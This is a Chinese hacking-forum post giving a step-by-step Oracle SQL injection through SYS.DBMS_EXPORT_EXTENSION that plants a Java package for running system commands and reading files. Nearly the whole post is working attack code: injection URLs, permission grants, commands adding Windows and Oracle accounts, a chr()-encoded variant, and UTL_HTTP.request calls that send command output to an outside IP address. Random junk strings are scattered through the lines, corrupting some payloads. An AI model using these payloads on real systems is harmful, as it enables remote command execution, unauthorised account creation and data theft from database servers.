找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2202|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ; _$ _1 e0 x) u& x, P

+ p9 T6 |  L7 _, w* }) j/ ?( c; K  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
3 `/ i( S; D6 K9 r的形式即可。(用" 'a'|| "是为了让语句返回true值)
$ _1 O# K; ~9 t& y语句有点长,可能要用post提交。
* a7 Q9 X/ D3 U4 l* R  y; C  r以下是各个步骤: ' M% L# F' b& r$ `5 }0 n' I. v) f
1.创建包
. h( [, N" T5 m# n通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
0 c2 O; y2 ]) v  n0 `6 o/xxx.jsp?id=1 and '1'<>'a'||( 4 b- g5 }# P/ w4 p( ~! N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  _, N, x& Y2 J; V; n/ K& Ccreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
; G1 r% ]6 m! {5 x0 V2 Xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}: @' J) Z! n+ ^% U* p0 z- i
}'''';END;'';END;--','SYS',0,'1',0) from dual 6 @0 D0 h2 B/ h9 S% O: c* s
)
; b# E$ n& h( r2 K, v5 b------------------------
, Y) k9 {4 e- ]: ]/ r* f如果url有长度限制,可以把readFile()函数块去掉,即: / H7 @8 E7 V, x
/xxx.jsp?id=1 and '1'<>'a'||(
" H8 g# ]+ j0 Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" M; V; m1 q2 H; W; M; E8 V
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 V% l6 e& r9 v0 znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
) u3 d) W" l9 \: _2 ~9 z7 W8 ]}'''';END;'';END;--','SYS',0,'1',0) from dual
  A7 u! t9 x7 ], S+ o5 C)
  A- j8 E/ g, e: v) f" C) D: m同时把后面步骤 提到的 对readFile()的处理语句去掉。
$ W: Q1 ]% O  ^8 L7 H3 q* ]- {- {------------------------------ ) s$ G/ {! O! B) h2 `
2.赋Java权限
& L, c! L! `& a# e  D4 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual4 X4 G: {- L# Y
3.创建函数
/ r7 o5 ]2 S2 x# ]  l% mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" t- q+ ~' V& B1 |create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual: C$ C1 j$ x1 m. @" |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) J# [7 P, o' \# ]6 v/ G( F! Qcreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual& p7 J7 A* e3 j' D6 |* V) p! H
4.赋public执行函数的权限
7 E, Y$ y- R$ I- A9 d" Q+ E2 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ f* G: x+ Z. |% J2 P4 n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
; u& ]* c3 x( q+ [5.测试上面的几步是否成功
. m: P0 j% |# Q. L' {and '1'<>'11'||(
' e) k1 V3 B& {4 D! ?; \! cselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' % G) t" V2 K1 G$ U; A
)
% n) n8 i8 R" {3 u+ e( j" E# tand '1'<>( ) h0 o/ R4 X, i0 p% }" T
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' ' i) {* [5 P" n6 [5 R% I2 v" g4 H
) & E9 y$ `5 z+ \0 ~" |1 v
6.执行命令: + Y% [" s& u& q2 H9 x
/xxx.jsp?id=1 and '1'<>( 1 F. H: ]1 \% q- p% @
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
, i% k3 t" y7 P; }
0 H  K8 C6 u$ N, J7 {- [& c4 [) 8 k: r& d8 }$ j: f% `) c  W
/xxx.jsp?id=1 and '1'<>(
; T- c+ J1 o5 _. {select  sys.LinxReadFile('c:/boot.ini') from dual
$ {+ i, r; T* v# E& c
5 X& [! g7 B. u3 h)5 G& a: i! j/ j; L! C
  
# |3 a$ |9 ^" k4 V) Y3 t  m4 \  C注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 ; J) ^0 B# A6 U+ q  E% V
如果要查看运行结果可以用 union : 5 U1 k: m$ x2 C- R7 B
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
. f# `# \5 ~4 e3 p或者UTL_HTTP.request(: 1 N: d. L- b" ]+ b' D) ~: |% L+ _
/xxx.jsp?id=1 and '1'<>(
7 q( A% y. M3 \9 J7 ?) C, ^SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual- q1 Y# q# {$ Q, r1 c) V! y
)
# [5 f: V- O. O  x- y; s8 j/ H/xxx.jsp?id=1 and '1'<>(
7 e# w) G* c  H. Q+ ?; FSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
' D6 u6 E2 h: L7 Z( [' {)
# c, g* e8 X' E$ D7 J+ `注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
# ~, T1 p9 }8 ~) r" W-------------------- 9 L$ m( t& W+ l2 K+ ~. P
6.内部变化 ) v- `: E& [3 Z: s
通过以下命令可以查看all_objects表达改变:
2 Y5 H2 Q6 i, u2 L0 q) I! Fselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
$ a( r- }9 I% J. R; l7.删除我们创建的函数 1 R% n0 |# q* D) e6 b( P* k. ^& ^0 s+ P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ V' f: I7 E6 Y  Gdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual + }0 t5 y8 y8 W) {. X/ \
==================================================== 3 f: ?7 u  b& r! I* \
全文结束。谨以此文赠与我的朋友。 / G# p6 h/ p9 u0 T& }6 @) b# C
linx / X3 q. p9 [6 g0 {6 R- _  B/ T
124829445 & R+ i: }2 ~  v: V8 |
2008.1.12 8 g( F* Y" O' ~& r
linyujian@bjfu.edu.cn
" ~" C7 C( b" c& r, Z====================================================================== 4 _+ z) [, u2 h+ J
测试漏洞的另一方法:
* k" I6 a. ~& @( @8 c/ a创建oracle帐号:
5 C9 ?- `" D! i* N( @; e2 Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') q3 H* V9 F. f& T* ?& [' k
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
" t3 L6 s/ b/ l! Y即:
: J( {4 V, h; p1 d8 S* U, u- O2 z6 V3 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 y( Q9 @+ I; \: Schr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
! y1 d0 h; Y6 |, d确定漏洞存在: ' A5 @" ~) J: d$ Q/ |" [
1<>( 4 o2 u# a5 Q* y1 R+ b
select user_id from all_users where username='LINXSQL' 9 W$ Z9 w8 t7 G: S; t7 A
) 1 U$ T* t% ^3 w
给linxsql连接权限: 2 p3 @) E% q  S1 P4 J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% v' K! w' D" [) q7 S) U4 m! F3 }
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
5 _. f3 x, p2 ]9 m. v5 I: D# C4 g删除帐号:
; i9 _3 S1 ]/ N$ f3 {" Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': s' J9 _3 M) Z- ?  U, b
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 9 d9 ^' c0 X$ M3 {/ Y
======================
9 }5 z9 f5 h" Q7 r2 K3 A7 b以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
0 X! ^: C; }# r2 Y1.jsp?id=1 and '1'<>( ' o" m4 m1 {8 x$ m% B4 n4 O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( s, E/ _. x% L% b- k" S# ~8 T
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual7 R4 E& z" o" ?# ~9 }; `% X
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE9 P4 h7 r5 b* R% m# d7 ^1 Q0 d' y6 T
 )$ s) x9 `( Q1 m3 u( P, }2 d0 Y5 _8 K

/ G8 c) s" w4 b5 o* N: N0 m! k" j  K# V6 n

. a$ J, p/ T# ?% [& o/ f- s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表